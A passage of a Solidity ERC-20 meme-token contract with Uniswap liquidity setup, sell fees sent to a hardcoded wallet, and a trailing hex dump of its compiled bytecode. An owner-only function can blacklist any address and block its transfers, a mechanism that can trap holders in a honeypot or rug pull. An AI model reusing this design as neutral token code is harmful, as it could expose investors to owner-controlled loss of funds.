uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xe3FE52144246F7AC79B40623CaB149EA4F6E7474);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(2).div(100);
_maxWalletSize = _tTotal.mul(3).div(100);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e8d565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906129b0565b6104b4565b60405161018e9190612e72565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b9919061302f565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129ec565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612961565b610632565b60405161021f9190612e72565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a91906128d3565b61070b565b005b34801561025d57600080fd5b506102666107fb565b60405161027391906130a4565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612a2d565b610804565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a7f565b6108b6565b005b3480156102da57600080fd5b506102e361098f565b005b3480156102f157600080fd5b5061030c600480360381019061030791906128d3565b610a01565b604051610319919061302f565b60405180910390f35b34801561032e57600080fd5b50610337610a52565b005b34801561034557600080fd5b5061034e610ba5565b005b34801561035c57600080fd5b50610365610c5a565b6040516103729190612da4565b60405180910390f35b34801561038757600080fd5b50610390610c83565b60405161039d9190612e8d565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906129b0565b610cc0565b6040516103da9190612e72565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a7f565b610cde565b005b34801561041857600080fd5b50610421610db7565b005b34801561042f57600080fd5b50610438610e31565b005b34801561044657600080fd5b50610461600480360381019061045c9190612925565b6113e7565b60405161046e919061302f565b60405180910390f35b60606040518060400160405280600781526020017f4a6f4a6f496e7500000000000000000000000000000000000000000000000000815250905090565b60006104c86104c161146e565b8484611476565b6001905092915050565b600067016345785d8a0000905090565b6104ea61146e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612f6f565b60405180910390fd5b60005b815181101561062e576001600660008484815181106105c2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061062690613345565b91505061057a565b5050565b600061063f848484611641565b6107008461064b61146e565b6106fb8560405180606001604052806028815260200161376860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106b161146e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cd49092919063ffffffff16565b611476565b600190509392505050565b61071361146e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079790612f6f565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61080c61146e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610899576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089090612f6f565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108be61146e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461094b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094290612f6f565b60405180910390fd5b6000811161095857600080fd5b61098660646109788367016345785d8a0000611d3890919063ffffffff16565b611db390919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d061146e565b73ffffffffffffffffffffffffffffffffffffffff16146109f057600080fd5b60004790506109fe81611dfd565b50565b6000610a4b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e69565b9050919050565b610a5a61146e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ade90612f6f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610bad61146e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3190612f6f565b60405180910390fd5b67016345785d8a0000600f8190555067016345785d8a0000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4a6f4a6f496e7500000000000000000000000000000000000000000000000000815250905090565b6000610cd4610ccd61146e565b8484611641565b6001905092915050565b610ce661146e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6a90612f6f565b60405180910390fd5b60008111610d8057600080fd5b610dae6064610da08367016345785d8a0000611d3890919063ffffffff16565b611db390919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610df861146e565b73ffffffffffffffffffffffffffffffffffffffff1614610e1857600080fd5b6000610e2330610a01565b9050610e2e81611ed7565b50565b610e3961146e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ec6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebd90612f6f565b60405180910390fd5b600e60149054906101000a900460ff1615610f16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0d9061300f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fa530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a0000611476565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610feb57600080fd5b505afa158015610fff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102391906128fc565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561108557600080fd5b505afa158015611099573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110bd91906128fc565b6040518363ffffffff1660e01b81526004016110da929190612dbf565b602060405180830381600087803b1580156110f457600080fd5b505af1158015611108573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112c91906128fc565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111b530610a01565b6000806111c0610c5a565b426040518863ffffffff1660e01b81526004016111e296959493929190612e11565b6060604051808303818588803b1580156111fb57600080fd5b505af115801561120f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112349190612aa8565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555061129c606461128e600267016345785d8a0000611d3890919063ffffffff16565b611db390919063ffffffff16565b600f819055506112d160646112c3600367016345785d8a0000611d3890919063ffffffff16565b611db390919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611391929190612de8565b602060405180830381600087803b1580156113ab57600080fd5b505af11580156113bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e39190612a56565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dd90612fef565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611556576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154d90612f0f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611634919061302f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a890612faf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611721576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171890612eaf565b60405180910390fd5b60008111611764576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175b90612f8f565b60405180910390fd5b6002600a819055506008600b8190555061177c610c5a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117ea57506117ba610c5a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cc457600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118935750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61189c57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119475750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561199d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119b55750600e60179054906101000a900460ff165b15611af357600f548111156119ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f690612ecf565b60405180910390fd5b60105481611a0c84610a01565b611a169190613165565b1115611a57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4e90612fcf565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611aa257600080fd5b601e42611aaf9190613165565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b9e5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bf45750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c0a576000600a81905550600a600b819055505b6000611c1530610a01565b9050600e60159054906101000a900460ff16158015611c825750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c9a5750600e60169054906101000a900460ff165b15611cc257611ca881611ed7565b60004790506000811115611cc057611cbf47611dfd565b5b505b505b611ccf8383836121d1565b505050565b6000838311158290611d1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d139190612e8d565b60405180910390fd5b5060008385611d2b9190613246565b9050809150509392505050565b600080831415611d4b5760009050611dad565b60008284611d5991906131ec565b9050828482611d6891906131bb565b14611da8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9f90612f4f565b60405180910390fd5b809150505b92915050565b6000611df583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121e1565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e65573d6000803e3d6000fd5b5050565b6000600854821115611eb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ea790612eef565b60405180910390fd5b6000611eba612244565b9050611ecf8184611db390919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f35577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f635781602001602082028036833780820191505090505b5090503081600081518110611fa1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561204357600080fd5b505afa158015612057573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061207b91906128fc565b816001815181106120b5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061211c30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611476565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161218095949392919061304a565b600060405180830381600087803b15801561219a57600080fd5b505af11580156121ae573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6121dc83838361226f565b505050565b60008083118290612228576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221f9190612e8d565b60405180910390fd5b506000838561223791906131bb565b9050809150509392505050565b600080600061225161243a565b915091506122688183611db390919063ffffffff16565b9250505090565b60008060008060008061228187612499565b9550955095509550955095506122df86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061237485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123c0816125a9565b6123ca8483612666565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612427919061302f565b60405180910390a3505050505050505050565b60008060006008549050600067016345785d8a0000905061246e67016345785d8a0000600854611db390919063ffffffff16565b82101561248c5760085467016345785d8a0000935093505050612495565b81819350935050505b9091565b60008060008060008060008060006124b68a600a54600b546126a0565b92509250925060006124c6612244565b905060008060006124d98e878787612736565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061254383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cd4565b905092915050565b600080828461255a9190613165565b90508381101561259f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161259690612f2f565b60405180910390fd5b8091505092915050565b60006125b3612244565b905060006125ca8284611d3890919063ffffffff16565b905061261e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61267b8260085461250190919063ffffffff16565b6008819055506126968160095461254b90919063ffffffff16565b6009819055505050565b6000806000806126cc60646126be888a611d3890919063ffffffff16565b611db390919063ffffffff16565b905060006126f660646126e8888b611d3890919063ffffffff16565b611db390919063ffffffff16565b9050600061271f82612711858c61250190919063ffffffff16565b61250190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061274f8589611d3890919063ffffffff16565b905060006127668689611d3890919063ffffffff16565b9050600061277d8789611d3890919063ffffffff16565b905060006127a682612798858761250190919063ffffffff16565b61250190919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127d26127cd846130e4565b6130bf565b905080838252602082019050828560208602820111156127f157600080fd5b60005b858110156128215781612807888261282b565b8452602084019350602083019250506001810190506127f4565b5050509392505050565b60008135905061283a81613722565b92915050565b60008151905061284f81613722565b92915050565b600082601f83011261286657600080fd5b81356128768482602086016127bf565b91505092915050565b60008135905061288e81613739565b92915050565b6000815190506128a381613739565b92915050565b6000813590506128b881613750565b92915050565b6000815190506128cd81613750565b92915050565b6000602082840312156128e557600080fd5b60006128f38482850161282b565b91505092915050565b60006020828403121561290e57600080fd5b600061291c84828501612840565b91505092915050565b6000806040838503121561293857600080fd5b60006129468582860161282b565b92505060206129578582860161282b565b9150509250929050565b60008060006060848603121561297657600080fd5b60006129848682870161282b565b93505060206129958682870161282b565b92505060406129a6868287016128a9565b9150509250925092565b600080604083850312156129c357600080fd5b60006129d18582860161282b565b92505060206129e2858286016128a9565b9150509250929050565b6000602082840312156129fe57600080fd5b600082013567ffffffffffffffff811115612a1857600080fd5b612a2484828501612855565b91505092915050565b600060208284031215612a3f57600080fd5b6000612a4d8482850161287f565b91505092915050565b600060208284031215612a6857600080fd5b6000612a7684828501612894565b91505092915050565b600060208284031215612a9157600080fd5b6000612a9f848285016128a9565b91505092915050565b600080600060608486031215612abd57600080fd5b6000612acb868287016128be565b9350506020612adc868287016128be565b9250506040612aed868287016128be565b9150509250925092565b6000612b038383612b0f565b60208301905092915050565b612b188161327a565b82525050565b612b278161327a565b82525050565b6000612b3882613120565b612b428185613143565b9350612b4d83613110565b8060005b83811015612b7e578151612b658882612af7565b9750612b7083613136565b925050600181019050612b51565b5085935050505092915050565b612b948161328c565b82525050565b612ba3816132cf565b82525050565b6000612bb48261312b565b612bbe8185613154565b9350612bce8185602086016132e1565b612bd78161341b565b840191505092915050565b6000612bef602383613154565b9150612bfa8261342c565b604082019050919050565b6000612c12601983613154565b9150612c1d8261347b565b602082019050919050565b6000612c35602a83613154565b9150612c40826134a4565b604082019050919050565b6000612c58602283613154565b9150612c63826134f3565b604082019050919050565b6000612c7b601b83613154565b9150612c8682613542565b602082019050919050565b6000612c9e602183613154565b9150612ca98261356b565b604082019050919050565b6000612cc1602083613154565b9150612ccc826135ba565b602082019050919050565b6000612ce4602983613154565b9150612cef826135e3565b604082019050919050565b6000612d07602583613154565b9150612d1282613632565b604082019050919050565b6000612d2a601a83613154565b9150612d3582613681565b602082019050919050565b6000612d4d602483613154565b9150612d58826136aa565b604082019050919050565b6000612d70601783613154565b9150612d7b826136f9565b602082019050919050565b612d8f816132b8565b82525050565b612d9e816132c2565b82525050565b6000602082019050612db96000830184612b1e565b92915050565b6000604082019050612dd46000830185612b1e565b612de16020830184612b1e565b9392505050565b6000604082019050612dfd6000830185612b1e565b612e0a6020830184612d86565b9392505050565b600060c082019050612e266000830189612b1e565b612e336020830188612d86565b612e406040830187612b9a565b612e4d6060830186612b9a565b612e5a6080830185612b1e565b612e6760a0830184612d86565b979650505050505050565b6000602082019050612e876000830184612b8b565b92915050565b60006020820190508181036000830152612ea78184612ba9565b905092915050565b60006020820190508181036000830152612ec881612be2565b9050919050565b60006020820190508181036000830152612ee881612c05565b9050919050565b60006020820190508181036000830152612f0881612c28565b9050919050565b60006020820190508181036000830152612f2881612c4b565b9050919050565b60006020820190508181036000830152612f4881612c6e565b9050919050565b60006020820190508181036000830152612f6881612c91565b9050919050565b60006020820190508181036000830152612f8881612cb4565b9050919050565b60006020820190508181036000830152612fa881612cd7565b9050919050565b60006020820190508181036000830152612fc881612cfa565b9050919050565b60006020820190508181036000830152612fe881612d1d565b9050919050565b6000602082019050818103600083015261300881612d40565b9050919050565b6000602082019050818103600083015261302881612d63565b9050919050565b60006020820190506130446000830184612d86565b92915050565b600060a08201905061305f6000830188612d86565b61306c6020830187612b9a565b818103604083015261307e8186612b2d565b905061308d6060830185612b1e565b61309a6080830184612d86565b9695505050